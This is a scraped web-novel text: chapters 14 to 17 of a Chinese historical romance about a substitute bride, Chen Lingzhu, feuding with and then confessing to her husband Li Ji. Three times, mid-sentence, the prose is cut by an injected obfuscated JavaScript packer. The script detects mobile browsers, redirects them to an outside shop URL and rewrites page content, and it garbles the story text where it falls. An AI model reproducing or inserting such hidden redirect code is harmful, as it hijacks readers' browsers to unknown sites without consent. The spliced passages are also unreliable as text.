紫苏在旁吞吞吐吐道:“姑娘,婢子觉得,可能……可能是婢子把您给卖了。” 陈灵珠停了筷子,望向紫苏。 紫苏一向忠心,什么事情能让她把自己卖了? 紫苏咬了咬唇,老实交代:“阿拙之前问婢子,说世子让他问的,问您最喜欢吃什么,婢子以为世子关心姑娘,就把您最喜欢吃羊肉的事情告诉了阿拙。姑娘,婢子错了。” 原来如此。 她就说呢,怎么李济会知道她喜欢吃炙羊肉。 “不怪你,你哪里知道这其中有诈。” 怪只怪那李济诡计多端。 紫苏还是很过意不去,愧疚道:“姑娘……以后……以后婢子再也不敢乱说了……” 陈灵珠笑道:“不是什么大事,以后小心些就是了。不过你要记住,别轻易把别人当自己人,就算是阿拙这种傻小子也要当心。” 她夹了块豆腐,“虽然素菜也挺好吃的。” 第二日,她先悠悠地用了朝食,在庭院里走了几圈,才慢慢地踱到东院。 “世子,昨晚睡得可好?”她笑着“关切”地问。 没气得睡不着罢? 李济没说话,回头与她对视,轻轻笑了笑。 她回以灿烂的一笑,低头开始抄经。 因为心情好,她下笔如有神助,两个时辰后,一本薄薄的经书就抄完了。 “抄完了,等干了我再给祖母送去。” 本来不指望他的回应,没想到他展颜一笑,“辛苦你了。” 见他态度和煦,陈灵珠不禁有些诧异,这人不计较昨日的事了?怎地如此和颜悦色? 心中疑虑,还隐隐有些不安,却又不知他的后招是什么,只能先放下笔,走到庭院舒展筋骨。 走着走着,她忽然觉得葡萄架下不太对。 似乎是不见了什么东西。 再走了两步,她反应过来。 秋千!平日里挂着秋千的地方,如今只剩两条悬垂而下的葡萄藤,随着春风飘来荡去。 她忙叫来杏儿问她:“秋千呢?哪儿去了?” 杏儿吞吞吐吐道:“世子、世子说让拆了。” “拆了?为什么拆了?” 她虽这么问着,然而心里却知道,还能是为什么? 杏儿支支吾吾半天,说不出个所以然来。 陈灵珠也不为难杏儿,疾风般走到李济面前,她带来的风甚至将李济的衣袂微微吹起:“世子,听说是你让人把院子里的秋千架拆了?” “嗯。”李济点头,面带笑意地看着她,拖长了语调道:“那秋千年久失修,我怕摔着了你,所以让人拆了,少夫人没意见罢?” 有意见。意见大的很。什么年久失修,那个秋千架明明就是新的! 她深吸一口气道:“那何时能重新装一个回去?” “少夫人很喜欢那秋千?”他淡淡地笑了笑,“不必着急,我已经让人重新订做一个,几时做好便几时装回去。” 不用说,这“几时”就是“永远不会”的意思了。 陈灵珠一阵气血上涌。 李济似笑非笑地看着她。 陈灵珠转身便走,大不了她自己装一个,谁也别想拦着她荡秋千。 但她一出来才发现,葡萄架在这一会儿功夫也被拆了。 陈灵珠:“……” 她看着被连根拔起的葡萄架,怒道:“谁让你们拆了?” 阿拙讪讪道:“世子说,葡萄架容易招来蛇虫鼠蚁,怕吓着少夫人。” 他挠挠头,一溜烟跑了,虽他也是奉命行事,可他也很不理解为什么要把葡萄藤拔了。 陈灵珠怒火中烧,真是“事事为她着想的好丈夫”,若不是他重伤在身,她非得进去给他几拳“奖励”不可。 放松的秋千没了,她垂头丧气地回到西院,叫两个丫鬟道:“咱们玩叶子牌罢。” 紫苏道好,“人少不好玩,婢子去叫杏儿姐姐她们。” 但过了好一会,紫苏才一个人回来,身后一个人也没有。 “怎么没来?都在忙吗?” 紫苏嘟着嘴道:“杏儿姐姐说,世子不让她们跟着姑娘胡闹,再胡闹就把她们赶出梅林上筑去,其他几个姐妹也是这么说。” 这是釜底抽薪了。 好在李庸没抛弃她,虽然秋千没了,还是过来找她玩。 但她越想越悲愤,她都沦落到只能跟一个五岁小儿一起玩了! 既然他要赶尽杀绝,那她就奉陪到底。 趁阿拙一个人在庭院里的时候,她装着不经意问阿拙道:“世子没受伤的时候,平日里喜欢做什么?” 阿拙还是个单纯的孩子,看不懂世子与少夫人之间的暗中较量,见少夫人问起世子的喜好,只道少夫人想与世子好好相处,投世子所好,便尽力回想了一番,答道:“世子平常很忙,空闲的时候不是看书就是练武。喜欢的东西,大概是名刀宝剑,库房里好多刀剑呢,都是世子收集的。” “除了名刀宝剑呢?” 李济库房的钥匙她没有,就算有,毁了好好的东西她也做不到。 阿拙又努力想半天,道:“世子还喜欢美酒,后花园的第一棵柳树下还埋了一坛世子珍藏的“十里香”呢,埋了两年了。大公子几次问世子要,世子都没答应。” 陈灵珠笑了。 很好。 面含笑容,带上铁锹,她和紫苏来到了后花园的第一棵柳树下。 “姑娘,真的要挖吗?” 毕竟是世子的珍藏,紫苏有些犹豫。 “挖。” “世子知道了,会生气的。” 她就是怕他不够生气,气坏最好。 “气就气,他不也把我的秋千拆了吗,他怎么不怕我生气?” 紫苏:“……” 这话甚有道理,她讪讪地闭了嘴。 既然姑娘铁了心,她便听从罢,其他的,以后再说。 挖了半日,果然遇到阻碍。 “真的有!” 两人小心地挖开泥土,慢慢用铁锹将酒坛掘了出来。 很小的一坛酒,应当只有两三斤。 主仆二人将酒坛子上的泥土拍干净,紫苏站起身,将酒坛提起,准备回去。 “小心点,别摔了。”陈灵珠嘱咐道。 就算要摔,也要摔在李济面前。 脚下生风地回到梅林上筑,她直接带着紫苏进了东院。 毕竟挖了世子的宝贝,紫苏有些心虚,低着头,抱着酒坛子行礼的时候手差点不稳。 反观陈灵珠就没有这个自觉了,她在李济面前站定,从紫苏手中把酒坛子接了过来,稍稍防御的姿势,只要李济上手抢,她立刻就把这酒摔了。 未免李济认不出来这酒,她笑道:“我今日想喝点酒,可府中一时找不到好的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751501|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,让人去沽我又等不及,听说世子珍藏的‘十里香’不错,所以把它挖了出来,世子不会介意罢?” 终于当面扔回了他这句话,她笑得眉眼弯弯。 与她预料的一样,李济的脸色果然变了,但他咬着牙看了她一会儿,最终笑道:“不过是区区一壶酒,你既然喜欢,拿去喝便是。” 要不是看到他眼眸中隐含的心痛,陈灵珠几乎就要相信他了。 她不由得心花怒放,道:“本来想与世子共饮,可世子伤口未愈不能饮酒,真是可惜,可惜啊。” “下次罢。等世子好了,我让人去集市上沽一些烧刀子,到时再与世子喝一杯。” 烧刀子不过是劣等酒,与他的这坛珍藏自然是一个天上,一个地下。 见李济被气得半死又不好发作,她面带微笑站着欣赏了好一阵才对紫苏道:“走罢,别打扰世子休息。今晚让厨房帮我做两个下酒的菜,这样的珍酿,配什么样的下酒菜比较好呢?让我想想……” 紫苏不敢看李济的脸色,连忙低头行了礼,抬脚跟上。 脚步轻快地回到西院,紫苏问:“姑娘,想好要什么下酒菜了吗?我让厨房去做。” 陈灵珠不好酒,她只是想气气李济,如今目的已达成,她也懒得喝这酒了,道:“先把它收起来罢,留着下次再喝。” 接下来的一整日,陈灵珠都神清气爽,时不时到李济面前晃两下,“关心”和“照顾”他。 看着李济气得脸色铁青却又拿她无可奈何的样子,陈灵珠心里比喝下那壶好酒还痛快。 心情愉悦地睡下,第二日梳洗毕正要出门,杏儿带着几个捧着礼盒的丫鬟走了进来。 陈灵珠奇道:“这是什么?” 杏儿福了福身,笑道:“少夫人,这些都是陛下和皇后娘娘赏赐下来的,夫人让送过来给少夫人。” 皇帝和皇后经常赏赐东西给镇国公府众人,这一次除了其他人的,还有陈灵珠的份。 杏儿又笑道:“宫里来的公公说,陛下和皇后让他传话,说少夫人若是得了空,便到宫里走走。” 听了这话,陈灵珠心跳漏了一拍。 这两日,她光顾着和李济斗气,都快把正事忘了。她不在乎是否离开镇国公府,但总要把奶娘的身契先拿到手。如今她和李济针锋相对,惹恼了李济事小,万一他坚决要换回陈灵瑛,拿回奶娘的身契可就难了。 杏儿走了,紫苏低声道:“姑娘,怎么办,镇国公府还不知道呢,怎么去宫里?” 陈灵珠也很头痛,微微有些懊恼,逞一时意气果然后患无穷。 她单手支颌,苦思冥想了半日,忽然起身道:“走,去厨房。” “啊?”紫苏一脸懵,她是爱吃,平日常常跟着陈灵珠去厨房做些她们都喜欢的食物,但眼下这个情况,似乎不是贪吃的时候。 但陈灵珠已经大步往前走了,她只能跟上。 厨娘见少夫人又来了,忙笑着问好,问少夫人需要她做什么。 陈灵珠问道:“今日可有新鲜的鱼?” 厨娘说有新鲜的鲈鱼,陈灵珠走到养鱼的木桶旁看了一眼。 两尾鲈鱼正在水桶中摆尾,看起来就很是鲜活,陈灵珠捞起一尾,放到砧板上,用刀背猛地一拍。 “姑娘,”紫苏问:“您要做什么啊?” “鱼粥。”陈灵珠一边手未停地杀鱼,一边答她道。 鱼粥是准备给李济的,他伤口未愈,最适合吃这种去腐生肌的食物。 吃了她做的东西,或许,他能好说话一些? 15. 第 15 章 到了用晚膳的时候,阿拙给他的主人上了一碗鱼粥。 李济兴致缺缺,甚至都懒得抬头看一眼。 “先放着罢。”他道。 “那可不行。”阿拙道:“世子若不好好吃饭,我就去报给夫人!” 镇国公夫人担心李济身体,曾当着李济面叮嘱过阿拙,说一定要让世子好好吃饭,若有哪一顿没吃好就唯他是问。这本是怕阿拙不尽心,有心敲打之意,但阿拙年纪还小,有时候并不能完全领会主人的意思,觉得夫人如是说,等同给了他尚方宝剑,李济不配合好好吃饭时,便把这剑拿出来用一用。 但李济不为所动,他又不是三岁小儿,还怕小厮跟母亲告状不成? 阿拙见世子根本不怕他的尚方宝剑,急了,道:“世子可不要辜负了少夫人的一片心意,这是少夫人亲自下厨做的呢。” 哦?这女子会突然这么好心,给他做粥? 李济有些不相信,望着那碗粥没动。 他倒不是怕粥里被下了毒。那小女子胆子再大,想来也不敢公然谋杀亲夫。 可若不是要杀他,她为何突然无事献殷勤? 难道是这粥里放了脏东西?痒痒粉?还是说,她有求于他? 李济估计,是后者。 她有何事要求他? “真的,少夫人说,世子身体还未恢复,所以她专门给世子做了鱼粥,世子请看。” 一边说着,一边将碗送到李济面前。 李济瞥了一眼,粥上面可见几片鱼肉和葱花,微微冒着热气,闻着倒是有些香气。 “少夫人说,鱼粥对伤口最好,去腐生肌,若是世子觉得可口,她以后便多给世子做。” 总要给她个机会让她说说何事求他。 再看了那碗粥一眼,他勉为其难道:“那就试试罢。” 阿拙连忙将粥碗奉上。 一匙粥入口,李济品了品,鱼肉不老不柴,倒也适口。 如今的闺阁女子,在成亲前都会学厨艺,但大多流于表面,所谓洗手作羹汤,不过走个形式罢了。 想不到这小小女子厨艺竟真的过得去,他想到那日的芋丝饼,吞了一口粥下肚。 他最初的打算,本来只是想意思意思吃两口,毕竟不做都做了,又端了上来,若是一口不吃,倒像故意给她难看似的,这院子里人多嘴杂,万一传得变了样,平白惹祖母担忧。 没想到先试了一口,又试了第二口,试着试着,一碗粥就见了底。 这碗委实小了些,李济蹙着眉头想,不知道的,还以为他如何贪吃呢。 罢了,看在她给他做粥的份上,她有何请求,只要不算太过分,他也不是不能考虑考虑。 …… “表姐,你就这样算了?” 陈府朝霞阁里,陈灵瑛与杨绾柔相对而坐,杨绾柔不高兴地嘟着嘴。 陈灵瑛端起茶盏轻轻吹了吹:“不算了又能怎么办呢,如今也不是找她麻烦的时候。” “她算个什么东西,也配嫁进镇国公府当世子夫人?” “她给表姐提鞋都不配,她这样的人替表姐你嫁给镇国公世子,做了镇国公世子夫人,我替表姐不值!” 陈灵珠嫁给一个死人做寡妇可以,毕竟寡妇的日子再好也不会好到哪儿去,但陈灵珠嫁给一个活生生的镇国公世子,杨绾柔只要想想,就觉得浑身难受得不得了。 陈灵瑛看了她一眼:“那你说怎么办?如今自顾且无暇呢,我还能有什么办法?” 杨绾柔被一噎,顿了一顿又道:“表姐,我咽不下这口气!就算她嫁进去了,也要搅得她不安生!” …… 陈灵珠抽空见了她名下铺子的管事们,又让他们把账先送过来给她看一看。 这对她来说是有一些难度的,她学过看账,但从未真正管过铺子或是管过家。 这些东西,时下的的贵女们出阁前都要至少先实践一年半载的,以此对管家和理账有个粗略的了解,以后当了人家的媳妇才能更快上手。 但因为陈灵瑛不喜欢她,不许她一起学,她母亲曾说过等陈灵瑛出嫁了,会找机会教一教她,但最后她匆匆出嫁,什么也没来得及做。 好在,她以前也得过账房先生的几句指点,再加上天资聪颖,看个账本还是不在话下。 茯苓送上一盏茶,放到陈灵珠手边。 陈灵珠看她一眼,笑道:“你别想着偷懒,快过来跟我一起看,以后都是要交给你的。” 茯苓稳重,又沉得住性子,管账这件事以后交给她再合适不过。 紫苏故意道:“姑娘偏心,凭什么只给茯苓姐姐管,我也要管账。” 陈灵珠笑道:“只要你能坐得住,也给你管。” 紫苏连忙摇头,陈灵珠笑道:“那这样,她管账,你管我。” 紫苏虽不如茯苓沉得住气,但她反应快,又敢作敢为,在某些方面,并不输茯苓。 紫苏问:“姑娘,几时去铺子看一看?” 陈灵珠想了想,现在还不是时候,她才成婚没几日,不必急着往外跑。何况那些铺子都经营得好好的,丢不了。 茯苓看看天色,提醒道:“姑娘,差不多该为世子准备饭食了。” 陈灵珠点点头,放下账本,站起身往厨房去。 她得继续她的“攻心大计”,早日拿下李济。 她今日做的是一碗鸡丝粥。 鸡丝粥是先将米粥用砂锅熬好后再加入鸡丝、冬菇、青菜等物,营养丰富,香味扑鼻。 做好后,她将碗放入台盘,茯苓上前,将台盘捧起,主仆二人往东院走。 茯苓将台盘放在房中的案上,福了福身便退了出去。 “世子,我下厨为你做了一碗鸡丝粥,你尝尝。”她尽力笑着,露出整齐的贝齿,务求看起来诚挚又亲切。 “嗯。”他接过碗,瞥了她一眼。 这女子突然一反常态,若说没古怪,那是不可能的。 他不动声色,一边吃着粥,一边偷偷看她。 这个小姑娘看上去十五六岁的年纪,在女子当中,她算得高,但许是身体还未长成,看起来有些单薄。因刚才下厨有些热,她的脸上略有薄汗,透出粉色,显得肤如凝脂。长得也算眼如明珠,鼻如琼玉,眉目流转间顾盼生姿,只是,眼下她的腮帮子时不时鼓一下,眼睫毛隔一阵就不自然地一阵闪动,一看就是心虚。 非常心虚。 李济忍不住轻笑了一下。 这个小女子,虽然狡猾又可恶,但也许是年纪还小的缘故,心里藏不住事。 陈灵珠被他的笑恍了一瞬。这李济虽然可恨,但能让京城众多出身名门的贵女争着抢着要嫁,并不是没有原因的,他这轻轻一笑,竟有春花盛开之感。 陈灵珠曾听过李济的笑酿成的事故。、 听说,在某一次上巳节,曲江水畔,有姑娘因为看到李济不经意间露出的一个笑而呆在当场,继而失足跌入了水中,成为好长一段时间的笑谈。 此事陈灵珠虽觉得有夸张之处,说不好便是以讹传讹,但她确确实实见过好些姑娘因为见到李济的笑而兴奋得手舞足蹈、失声尖叫。 那是几年前他打了胜仗回京之时,他坐在高头大马上,不可一世,意气风发。 当时陈灵珠也挤在看热闹的人群之中,见到李济和其他人骑着马从她面前经过,英姿勃发,威风凛凛,那时的她,还不知他的品性,更不知后来自己还会嫁给他,所以也和其他人一样,兴致勃勃地趁个热闹。 不知何故,人群中突然爆发出一阵尖叫声,又有不少女子兴奋地用力挥舞着手上的帕子,还又蹦又跳。陈灵珠一开始不明所以,左右张望了一下,又问旁边的知情人,才知道原来是李济身边的将领不知与他说了什么,惹得他灿然一笑。就这样一个笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751502|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容,人群中的好多女子就失了冷静与自持。 更过分的是,李济过去之后,随即便有另一个相貌略微有碍观瞻的将领骑马经过,方才那些兴奋得恨不得扑到李济身上的女子竟纷纷噤声,不久后便转头,回家去了。 两相对比,也是惨烈。 陈灵珠当时虽然为另一个将领不平,也不能理解那些女子的莫名激动,但也算见识了李济笑容的威力。 不过,她可不是那些女子,她是不会被他的美色所迷的。 她还记得自己今日的目的。 见李济笑,她也礼尚往来,回了一个浅笑,希望今日能气氛和谐,方便她说出要说之事。 结果这个挤出来的浅笑逗得李济哈哈大笑,差点没被粥呛着。 这个小小女子,虽然脾气又坏,又小心眼,坏心思还多,委实十分可恶,但有时就有逗笑人的本事。看她那样子,根本不知道自己看起来有多好笑。 他忍不住想逗一逗她。 他不紧不慢地将鸡丝粥吃完,拿帕子缓缓擦了擦嘴角,这才慢条斯理道:“你这厨艺,还算马马虎虎。虽说比不上大厨,但胜在返璞归真。我连着多日用厨娘做的饭食,也有点腻了,这两日吃你做的,倒觉得你这种简单的不错。” 听这意思,似乎是她的美食打动了他,陈灵珠心中一喜,忙道:“世子喜欢,以后我多给世子做。”说完又露出一个甜甜的带着几分讨好的笑。 “哦?”李济一本正经地看着她道:“不应该是每日都做么?古诗有云:三日入厨下,洗手作羹汤①,既然嫁了人,成为人.妻,为夫婿准备每日饭食,也是应该的罢?” 这个可恨的家伙,难道真把她当厨娘不成,她就知道此人不会无缘无故地夸她。 但她有求于人,唯有暂时低头道:“我会尽量抽时间做的。” 李济摇摇头,“我看你很是不情愿。我向来不愿勉强别人,算了罢。” 陈灵珠心中冒火,这个人让她做厨娘也就算了,还要她求着他让她做。 她再挤出一个笑容:“不会勉强,我乐意之至。何况,这也是我的本分。” 看她不情不愿的样子,李济心中乐不可支,继续道:“那你可会做佛跳墙?我明日想吃佛跳墙,你可能做得出来?” 陈灵珠心中的火差点压不住,这厮一定是故意的!佛跳墙是明日就能做得出来的吗?而且他怎么可能这个时候吃什么佛跳墙? 她道:“世子,佛跳墙做法颇为复杂,仓促之间,一时怕是做不出来。而且世子此时不宜吃过于油腻荤腥之物,世子再想吃,也还是循序渐进为好。” “无妨,”他看着陈灵珠的脸色,忍住笑:“也不是一定要明日,你几时做好我几时吃就是。” “还是不可,佛跳墙中有酒,世子养伤期间不宜饮酒。” “这更不要紧了。”他道:“这点酒对我来说根本不算什么,我们行军打仗之人,哪个受了伤滴酒不沾。你尽管放心就是。” 陈灵珠一时无话可说。 罢了,到时她让镇国公府的厨子做就是,她最多意思意思去给他拿上来,反正他也吃不出来。 李济一看就知道她在想什么,道:“你可千万不要让府里的厨子插手,我会交代他们,此菜是少夫人对我的一片心意,他们不可多事。” 陈灵珠:“……” 眼见她在拂袖而去的边缘,他终于见好就收:“罢了,既是我暂时吃不得,你日后想做时再做便是。” 陈灵珠莫名其妙被摊了这么个差事,恍惚之间,差点忘了她为什么会出现在这里。 是了,她是要说替嫁之事。 定了定神,她开口道:“世子,有一件事,我想与你商量。” “嗯。说罢。” “世子,这件事情——” “世子!”阿拙在屋外大声道:“吴校尉求见,说有要事禀报世子。” 16. 第 16 章 又说不成了。 陈灵珠面露失望之色,李济看她一眼,问她:“你要说的,可是急事?” 说急自然也是急的,她来镇国公府已有几天了,尽快将替嫁一事告知镇国公府才是上策。 只是此事最好在气氛良好时说出,效果才能更好。此时吴校尉等着李济说要事,她硬要此时说,李济未必耐烦。一个不好,此事就彻底搞砸了。 挣扎了一会儿,她无可奈何道:“世子先处理其他事罢。” 从屋里出来,果然见到吴校尉和另外一人已在东院门槛外不远处等着。 她从吴骏和另外一人身边经过,他们见了她,低头拱手行礼,在她走过去后,却微微回头,看了她一眼。 陈灵珠对此一无所觉,朝他们两人点点头,自回西院去了。 吴骏先进了屋内,向李济行礼,“世子。” 他来禀报两件事。 第一件是关于郑文淑的。 据去齐云山庄的赵青传回的消息,半年前,郑文淑曾救过一个被丈夫殴打重伤、赶出家门的女子,她可怜这女子无家可归,便将这女子留在山庄。女子伤好后,说自己对郑文淑极感激,愿为庄主做牛做马。郑文淑称自己是举手之劳,她却锲而不舍,抢着在郑文淑身边做些力所能及之事。 郑文淑只当她知恩图报,因那女子在山庄吃住,为免她心中不安,也就由她去了。 半月前,这女子突然说她的丈夫已悔过,要接她归家,郑文淑劝她慎重,免得再陷火坑,那女子却执意要回,并恳求郑文淑送她一程,以震慑其丈夫。 郑文淑侠肝义胆,且本就有事需要外出,便答应了,与那女子一同出了山庄,之后的事,齐云山庄的人便不清楚了,但郑文淑确是至今未归,且与山庄的人失去了联络。 这么说,那女子是刻意潜伏在郑文淑身边,观摩她的一言一行,然后寻机会害了郑文淑,再易容成郑文淑来刺杀他? “齐云山庄的人对那刺客知道多少?” “齐云山庄副庄主说,那女子以不愿提到伤心事为由,甚少提及自己的过去,故而虽留在齐云山庄半年,他们对那女子所知并不多。不过,当时郑庄主见这女子被她的丈夫欺负得如此之惨,替那女子出头,特特去将那丈夫揪出来打了一顿。当时副庄主也在场,无意中看到他的左上臂有一块很大的胎记。 副庄主已经将那男人的面貌和胎记画了出来,交给了赵青,如今赵青正赶回京城。” 李济点头,道:“继续追查下去,郑庄主也许还活着。还有那刺客的‘丈夫’,一定要把他找出来。我倒要看看,是谁这般处心积虑地要杀我。” 吴骏应是。 吴骏要禀报的第二件事,则是关于陈灵珠。 他将候在门外的孟二叫了进来。 这几日,孟二潜伏在陈府周围,找邻近的人打听,还跟踪过陈进、陈夫人和几个陈府的管事,但因陈府防范十分严密,初时所获不多,好在事情很快出现了转机。 一个小厮打扮的人出现在陈府大门前,面露愤恨之色,并狠狠地往地上吐了一口唾沫,似乎有极大的仇怨。孟二直觉有异,上前与那小厮搭话。那小厮正满腔怒火无处发泄,见有人问他,也不管孟二是谁,便竹筒倒豆子般地把事情都说了出来。 据那小厮说,他主家姓沈,是陈府的姻亲,陈尚书正是他家夫人嫡亲的兄弟。陈府背信弃义,明明答应了将他们家的二姑娘嫁给他家公子,谁知一转脚,就把他们二姑娘逼着嫁去了镇国公府。 他家公子与陈二姑娘青梅竹马,两情相悦,互许终生,可怜一对有情人就这样被生生拆散。 因为此事的打击,他家公子终日买醉,好好一个清风霁月的公子,弄得人不人,鬼不鬼,眼下更是病倒在床,也不知何时才会想通,活过来。 小厮说到此处,眼中蓄满了眼泪,显然极替他家的公子伤心和愤怒。 那小厮怒气难消,又把陈府的人逐个骂了一遍: 骂陈尚书偏心眼,只知心疼大女儿,不顾二女儿的死活;骂他势利眼,不将门楣败落的姐夫放在眼里,不顾姐弟情谊,将答应嫁给亲外甥的女儿嫁到了别人; 骂陈夫人糊涂,眼盲心瞎,只知道讨好丈夫,对亲生的女儿比后母还不如; 骂陈大姑娘蛇蝎心肠,从小就联合外人欺负自己的亲妹妹,这次又让陈二姑娘给她做替死鬼,外面说她知书达理、温柔大方,其实都是狗屁; 甚至把陈府的两个公子也骂了一通,说他们明知道父母偏心,也不知道劝阻一二,分明是事不关己高高挂起云云。 这小厮说的话,孟二不敢全信,好在事情已经有了方向,他便顺着这个方向将陈大姑娘、陈二姑娘、沈家查了查。 这一查,发现那小厮说的竟是真的,至少大部分都是真的。 镇国公府世子夫人换了人不是小事,本就是陛下赐婚,又关系到镇国公府和世子的将来,查清后,孟二不敢再耽搁,匆匆忙忙赶回镇国公府,向上峰吴骏禀报此事。 孟二禀道:“世子,陈府确有异常。” “属下查到,在世子成亲当日,上了花轿嫁入镇国公府的不是与世子订亲的陈府大姑娘,而是他们陈府的二姑娘!” 孟二说完这句话,垂下头,等待着来自世子的雷霆震怒。 但没有。 世子很是平静,好像他只不过在讲陈尚书府昨日的晚膳由一条龙鱼换成了一条草鱼。 难道世子早就知道了此事? 他不禁抬头看李济一眼,见世子的脸上无半分异色,平静得出乎他的意料。 “她的身份,另有蹊跷?”沉默了几息,李济淡淡地问道。 陈家的情况,他知道得清楚,据他所知,陈进有两子两女,长女是元配杨氏所生,次女和两子则是继妻杜氏所生。 现妻亲生的女儿做了替身嫁给很可能醒不过来的他,这件事虽说不是绝无可能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751503|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但以常情而论,这算得上罕有。所以他有理由怀疑,这个嫁过来的姑娘不是真正的陈家二姑娘。 孟二道:“陈家二姑娘身份并无蹊跷,她确确实实是陈尚书和陈夫人的女儿。” “哦?” “禀世子,陈尚书因发妻早逝,对长女十分偏疼。至于陈夫人,属下听说她十分贤良淑德,且非常爱惜名声,属下推测,应是陈夫人不愿让人说她苛待陈家大姑娘,这才让陈家二姑娘上了花轿。” 李济略略思忖,如此,倒也说得通。 孟二接着把他查到的关于陈大姑娘和陈二姑娘的事情告诉了李济。 “草包?”他微微挑眉。 “是。”孟二道:“听说陈家二姑娘琴棋书画皆不佳,只爱在厨房鼓捣吃食,所以坊间传言说她是个草包。” 李济微不可察地笑了一笑。 贪吃或许是真的,爱鼓捣吃食也是真的,至于草包么——若这么狡猾的女子也叫草包,世上只怕就没有聪明人了。不过,会传出这种名声,这里头想必有些名堂。 但这些事情对他来说无关紧要,他并不关心。 “还有一事……”孟二略微迟疑了一下。 李济:“何事吞吞吐吐?” 孟二一凛,忙道:“陈尚书有一庶姊,嫁给了京兆府推官沈著,其有一子,名信,是个小有名气的才子。沈家曾向陈家求娶陈二姑娘,此事虽未过明路,但陈家应该也是同意了的。如今陈二姑娘嫁入了镇国公府,听说沈信已经为此事病倒。” 沈信对陈二姑娘感情如何,从他病倒一事可见一斑,陈二姑娘对沈信如何虽未可知,但据孟二所查到的消息,两人两情相悦一事多半是真的。 不过,孟二如今有些摸不清世子对这陈二姑娘的态度,不敢乱说。 陈府换人这件事,往大了说,那是欺君罔上,陛下认真追究起来,是可以抄家灭族的。不过陈尚书是陛下的亲舅父,想来不至于此。 往小了说,这陈二姑娘与陈大姑娘就没什么区别了。 两人都是嫡出的女儿,只要镇国公府觉得无所谓,那便可以大事化小小事化了,到时候陛下做做样子,略施惩戒,这件事也就过去了。 若世子最终认下了府里的这位陈二姑娘,那陈二姑娘就是他们的世子夫人,他当然还是少说这位世子夫人的“坏话”为佳。当然,有些话他是不得不说的,否则以后世子追起责来,他吃不了兜着走。 “知道了。你们先下去罢。”李济淡淡道。 陈二草包的名声从何而来、她与她的姑家表兄是否两情相悦,这种须末小事,他并不在意,他要考虑的是别的事。 陈进这几年总是追着他弹劾,说他拥兵自重,如果不是陛下赐婚,他们两家是绝不可能结为姻亲的。 本就是双方都不情愿的亲事,如今既然陈进自己把人换了,或许,他该将计就计,借此机会将事情闹大,退了这门亲事,顺便给陈进一个教训。 17. 第 17 章 昨日事情没办成,未免夜长梦多,陈灵珠只好打迭起精神,再接再厉。 一早,她便起来到厨下做了些桃花饼,精心挑选了几个好看的,用白瓷印花桃瓣盘装了,自己端着进了东院。 “世子,这是我亲手做的桃花饼,你试一试。”她露出笑容道。 所谓吃人嘴软,李济大概也是一样的。吃了她的东西,应该能好说话一些。 李济好整以暇地看着她,她忙笑了笑,道:“我看世子连着吃了几日清淡的饭菜,担心世子口淡,所以做了这桃花饼给世子换换口味。” 李济低头看饼,这桃花饼不是像普通的桃花饼那样,用模子压成桃花,而是用手捏成了一瓣一瓣的花瓣,又混了汁水将饼做成浅浅的胭脂色,看着就像真的桃花瓣似的。 倒也别出心裁,可见这小女子为了她即将要说的事,很是下了一番功夫。 见他看着桃花饼没动,陈灵珠催促道:“世子快试一试。” 李济这才慢悠悠地拈了一个,送入口中。 甜而不腻,还有淡淡桃花的清香,不错。 见他吃完了一个,陈灵珠踌躇了一下,道:“世子,我有话要跟你说。” 李济顿了下,抬眼看她。 “说罢。”他慢条斯理地吃着饼,随意道。 陈灵珠示意阿拙出去,让紫苏守在门口,然后将原本常在床头放着,便于照顾李济,眼下却放于床尾的那张绣墩子搬过来坐下。 她绞了绞手指,抿了抿唇,终于咬咬牙道:“世子,有一件事,我要跟你坦白。” 李济依然不紧不慢地嚼着口中的饼,淡淡然地看着她。 要是他知道了真相还能保持这样的表情就好了,她暗暗想着,深吸一口气,“世子可知,我们陈家有两个女儿?” 李济没答,但陈灵珠也不需要他答,她怕自己退缩,马上说了下去:“我其实是妹妹,陈家的二姑娘。” 李济脸色依然没丝毫变化,陈灵珠看不出他的想法,但也只能继续道:“原先与世子订亲的是我的姐姐,因为一些事……总之最后是我嫁了过来。临上花轿换了人确实不妥,但请世子相信,此事,绝非我本人所愿,拖到此时才跟世子坦白,也不是我有意欺瞒世子,而是……”她顿了一下道:“而是一直没有合适的机会。” 这句话有狡辩之嫌。但如果不是前两日李济那样对她,她确实早就坦白了。当然,她也知道,那也不能全怪李济,她自己也该负一部分责任。 说完一番话,她睁大眼睛直直盯着李济,等着他的反应。 但李济只是用他那双黑而亮的眼睛波澜不惊地看着她,慢悠悠地嚼着桃花饼,似不惊讶,也不生气。 陈灵珠都有些佩服他了,果然是指挥千军万马的人,也许泰山崩在他的面前,他都能面色不改。 